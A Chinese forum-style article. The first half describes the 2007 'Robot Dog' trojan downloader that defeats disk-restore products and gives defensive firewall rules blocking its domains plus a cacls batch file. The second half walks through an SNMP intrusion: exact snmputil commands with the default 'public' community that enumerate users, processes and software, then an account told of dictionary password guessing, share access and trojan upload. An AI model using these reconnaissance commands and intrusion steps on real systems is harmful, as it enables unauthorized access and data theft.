机器狗病毒 161端口漏洞 snmp入侵思路

机器狗的生前身后  
曾经有很多人说有穿透还原卡、冰点的病毒，但是在各个论坛都没有样本证据，直到2007年8月29日终于有人在社区里贴出了一个样本。这个病毒没有名字，图标是SONY的机器狗阿宝，就像前辈熊猫烧香一样，大家给它起了个名字叫机器狗。  

工作原理
机器狗本身会释放出一个pcihdd.sys到drivers目录，pcihdd.sys是一个底层硬盘驱动，提高自己的优先级接替还原卡或冰点的硬盘驱动，然后访问指定的网址，这些网址只要连接就会自动下载大量的病毒与恶意插件。然后修改接管启动管理器，最可怕的是，会通过内部网络传播，一台中招，能引发整个网络的电脑全部自动重启。  

重点是，一个病毒，如果以hook方式入侵系统，接替硬盘驱动的方式效率太低了，而且毁坏还原的方式这也不是最好的，还有就是这种技术应用范围非常小，只有还原技术厂商范围内有传播，在这方面国际上也只有中国在用，所以，很可能就是行业内杠。  

对于网吧而言，机器狗就是剑指网吧而来，针对所有的还原产品设计，可预见其破坏力很快会超过熊猫烧香。好在现在很多免疫补丁都以出现，发稿之日起，各大杀毒软件都以能查杀。  

免疫补丁之争  
现在的免疫补丁之数是疫苗形式，以无害的样本复制到drivers下，欺骗病毒以为本身以运行，起到阻止危害的目的。这种形式的问题是，有些用户为了自身安全会在机器上运行一些查毒程序（比如QQ医生之类）。这样疫苗就会被误认为是病毒，又要废很多口舌。  

解决之道  
最新的解决方案是将system32/drivers目录单独分配给一个用户，而不赋予administror修改的权限。虽然这样能解决，但以后安装驱动就是一件头疼的事了。  

最新动向  
好像机器狗的开发以停止了，从样本放出到现在也没有新的版本被发现，这到让我们非常担心，因为虽着研究的深入，现在防御的手段都是针对病毒工作原理的，一但机器狗开始更新，稍加改变工作原理就能大面积逃脱普遍的防御手段，看来机器狗的爆发只是在等待，而不是大家可以高枕了。 

目前网上流传一种叫做机器狗的病毒，此病毒采用hook系统的磁盘设备栈来达到穿透目的的，危害极大，可穿透目前技术条件下的任何软件硬件还原！基本无法靠还原抵挡。目前已知的所有还原产品，都无法防止这种病毒的穿透感染和传播。
       机器狗是一个木马下载器，感染后会自动从网络上下载木马、病毒，危及用户帐号的安全。
          机器狗运行后会释放一个名为PCIHDD.SYS的驱动文件，与原系统中还原软件驱动进行硬盘控制权的争夺，并通过替换userinit.exe文件，实现开机启动。

>> 那么如何识别是否已中毒呢？

是否中了机器狗的关键就在 Userinit.exe 文件，该文件在系统目录的 system32 文件夹中，点击右键查看属性，如果在属性窗口中看不到该文件的版本标签的话，说明已经中了机器狗。如果有版本标签则正常。

临时解决办法：
一是在路由上封IP：
ROS脚本,要的自己加上去
/ ip firewall filter
add chain=forward content=yu.8s7.net action=reject comment="DF6.0"
add chain=forward content= [url]www.tomwg.com[/url] action=reject

二是在c:\windows\system32\drivers下建立免疫文件： pcihdd.sys ，

三是把他要修改的文件在做母盘的时候，就加壳并替换。

在%systemroot%\system32\drivers\目录下 建立个 明字 为 pcihdd.sys 的文件夹   设置属性为 任何人禁止

批处理

md %systemroot%\system32\drivers\pcihdd.sys

cacls %systemroot%\system32\drivers\pcihdd.sys /e /p everyone:n 

cacls %systemroot%\system32\userinit.exe /e /p everyone:r


exit

 

 

 

漏洞 snmp (161/udp) Snmp口令

Snmp口令: "public"  

很多朋友不清楚.我在这里为大家讲解下..........

SNMP的前身是简单网关监控协议(SGMP)，用来对通信线路进行管理。随后，人们对SGMP进行了很大的修改，特别是加入了符合Internet定义的SMI和MIB：体系结构，改进后的协议就是著名的SNMP。SNMP的目标是管理互联网Internet上众多厂家生产的软硬件平台，因此SNMP受Internet标准网络管理框架的影响也很大。现在SNMP已经出到第三个版本的协议，其功能较以前已经大大地加强和改进了。

SNMP的体系结构是围绕着以下四个概念和目标进行设计的：保持管理代理(agent)的软件成本尽可能低；最大限度地保持远程管理的功能，以便充分利用Internet的网络资源；体系结构必须有扩充的余地；保持SNMP的独立性，不依赖于具体的计算机、网关和网络传输协议。在最近的改进中，又加入了保证SNMP体系本身安全性的目标。

另外，SNMP中提供了四类管理操作：get操作用来提取特定的网络管理信息；get-next操作通过遍历活动来提供强大的管理信息提取能力；set操作用来对管理信息进行控制(修改、设置)；trap操作用来报告重要的事件。

从上面的介绍可以看出,snmp其实是可以得到对方许多主机资料的.............
知道了上面的信息后,我在给大家介绍snmp入侵用到的一个工具
snmputil.exe

在DOS下运行的格式为..........
snmputil walk 对方ip public .1.3.6.1.2.1.25.4.2.1.2 列出系统进程

snmputil walk 对方ip public .1.3.6.1.4.1.77.1.2.25.1.1 列系统用户列表

snmputil get 对方ip public .1.3.6.1.4.1.77.1.4.1.0 列出域名

snmputil walk 对方ip public .1.3.6.1.2.1.25.6.3.1.2 列出安装的软件

snmputil walk 对方ip public .1.3.6.1.2.1.1 列出系统信息

首先通过snmputil walk 对方ip public .1.3.6.1.4.1.77.1.2.25.1.1
得到了对方的用户名...........
接着自己做了字典...呵呵.........结果嘛........他的密码其实超简单.........
至此,顺利通过139进行了端口溢出.......也就是通过NT-Server

呵呵,接着就是一些常用的命令啦........
首先连接它.........接着做开启共享,上传木马啊.........
其实最重要的还是拿到数据库..............
                                     本人人格保证，我成功过！

给大家写这篇文章就是让大家不要忽略161这个端口,有时一个很小的漏洞,都会换来致命的崩溃.